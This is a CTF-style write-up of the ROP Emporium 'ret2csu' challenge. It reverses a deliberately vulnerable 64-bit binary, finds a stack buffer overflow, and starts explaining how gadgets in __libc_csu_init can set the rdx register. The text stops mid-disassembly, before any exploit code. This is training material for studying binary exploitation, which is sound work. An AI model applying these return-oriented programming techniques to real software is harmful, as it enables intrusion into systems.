# ROPEmporium ret2csu

This writeup is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

Let's take a look at the binary:

```
$    file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a799b370a24ba0109f1175f31b3058094b5feab5, not stripped
$    pwn checksec ret2csu
[*] '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./ret2csu
ret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> 15935728
```

So we can see that we are dealing with a `64` bit binary with an NX stack. When we run it, we see that it prompts us for input.

## Reversing

When we take a look at the main function, we see this:

```
undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("ret2csu by ROP Emporium\n");
  pwnme();
  return 0;
}
```

We can see that this function essentially prints out some text, and calls `pwnme`:

```
void pwnme(void)

{
  char input [32];
 
  memset(input,0,0x20);
  puts("Call ret2win()");
  puts("The third argument (rdx) must be 0xdeadcafebabebeef");
  puts("");
  printf("> ");
  PTR_puts_00601018 = (undefined *)0x0;
  PTR_printf_00601028 = (undefined *)0x0;
  PTR_memset_00601030 = (undefined *)0x0;
  fgets(input,0xb0,stdin);
  PTR_fgets_00601038 = (undefined *)0x0;
  return;
}
```

So we can see that it allows us to scan in `0xb0` (`176`) bytes worth of data into a `32` byte space. So we have a buffer overflow bug here. Also another thing to note here, it zeroes out the got addresses for `puts`, `printf`, and `memset`. We can see that it asks us to call the `ret2win` function with the third argument (since it is `x64` on linux, it is stored in the `rdx` register) being equal to `0xdeadcafebabebeef`. When we take a look at the `ret2win` function, we see that it calls `system`:

```

/* WARNING: Restarted to delay deadcode elimination for space: stack */

void ret2win(void)

{
  undefined8 uVar1;
  undefined2 uVar2;
  undefined8 uVar3;
  undefined2 uVar4;
  undefined8 local_28;
  undefined local_20;
  undefined7 uStack31;
  undefined local_18;
  undefined uStack23;
  undefined7 *local_10;
 
  local_28 = 0xaacca9d1d4d7dcc0;
  local_10 = &uStack31;
  uVar3 = 0xd5bed0dddfd28920;
  local_20 = (undefined)uVar1;
  uStack31 = (undefined7)((ulong)uVar1 >> 8);
  uVar4 = 0xaa;
  local_18 = (undefined)uVar2;
  uStack23 = (undefined)((ushort)uVar2 >> 8);
  system((char *)&local_28);
  uVar2 = uVar4;
  uVar1 = uVar3;
  return;
}
```

Looking at the assembly code for the function, we see that it manipulates the argument stored in `rdx` and uses it as an argument for `system`. So the statement it said about `The third argument (rdx) must be 0xdeadcafebabebeef` is probably true.

## Exploitation

So we will have to call `ret2win` with `rdx` being equal to `0xdeadcafebabebeef`. However when we look at the rop gadgets we have to change the value of the `rdx` register, we come up a little short:

```
$    python ROPgadget.py --binary ret2csu | grep rdx
0x[PII_REDACTED]400567 : lea ecx, [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax
0x[PII_REDACTED]40056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
```

Since the code base for this challenge is pretty small (like most ctf challenges), and that it is dynamically compiled means we don't have a lot of ROP gadgets to use. So we will be using the `ret_2_csu` (`ret_2_libc_csu_init`) technique.

#### Ret_2_csu

This is pretty simple when we get down to it. The `__libc_csu_init` function is responsible for initializing the libc file. Essentially we will be pulling ROP gadgets from this function.

```
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined __libc_csu_init()
             undefined         AL:1           <RETURN>
                             __libc_csu_init                                 XREF[5]:     Entry Point(*),
                                                                                          _start:00400606(*),
                                                                                          _start:00400606(*), 00400978,
                                                                                          00400a70(*)  
        00400840 41 57           PUSH       R15
        00400842 41 56           PUSH       R14
        00400844 49 89 d7        MOV        R15,RDX
        00400847 41 55           PUSH       R13
        00400849 41 54           PUSH       R12
        0040084b 4c 8d 25        LEA        R12,[__frame_dummy_init_array_entry]             = 4006D0h
                 be 05 20 00
        00400852 55              PUSH       RBP
        00400853 48 8d 2d        LEA        RBP,[__do_global_dtors_aux_fini_array_entry]     = 4006A0h
                 be 05 20 00
        0040085a 53              PUSH       RBX
        0040085b 41 89 fd        MOV        R13D,EDI
        0040085e 49 89 f6        MOV        R14,RSI
        00400861 4c 29 e5        SUB        RBP,R12
        00400864 48 83 ec 08     SUB        RSP,0x8
        00400868 48 c1 fd 03     SAR        RBP,0x3
        0040086c e8 ef fc        CALL       _init                                            int _init(EVP_PKEY_CTX * ctx)
                 ff ff
        00400871 48 85 ed        TEST       RBP,RBP
        00400874 74 20           JZ         LAB_00400896
        00400876 31 db           XOR        EBX,EBX
        00400878 0f 1f 84        NOP        dword ptr [RAX + RAX*0x1]
                 00 00 00
                 00 00
                             LAB_00400880                                    XREF[1]:     00400894(j)  
        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 + RBX*0x8]=>->frame_dummy         undefined frame_dummy()
                                                                                             = 4006D0h
                                                                                             = 4006A0h
                                                                                             undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880
                             LAB_00400896                                    XREF[1]:     00400874(j)  
        00400896 48 83 c4 08     ADD        RSP,0x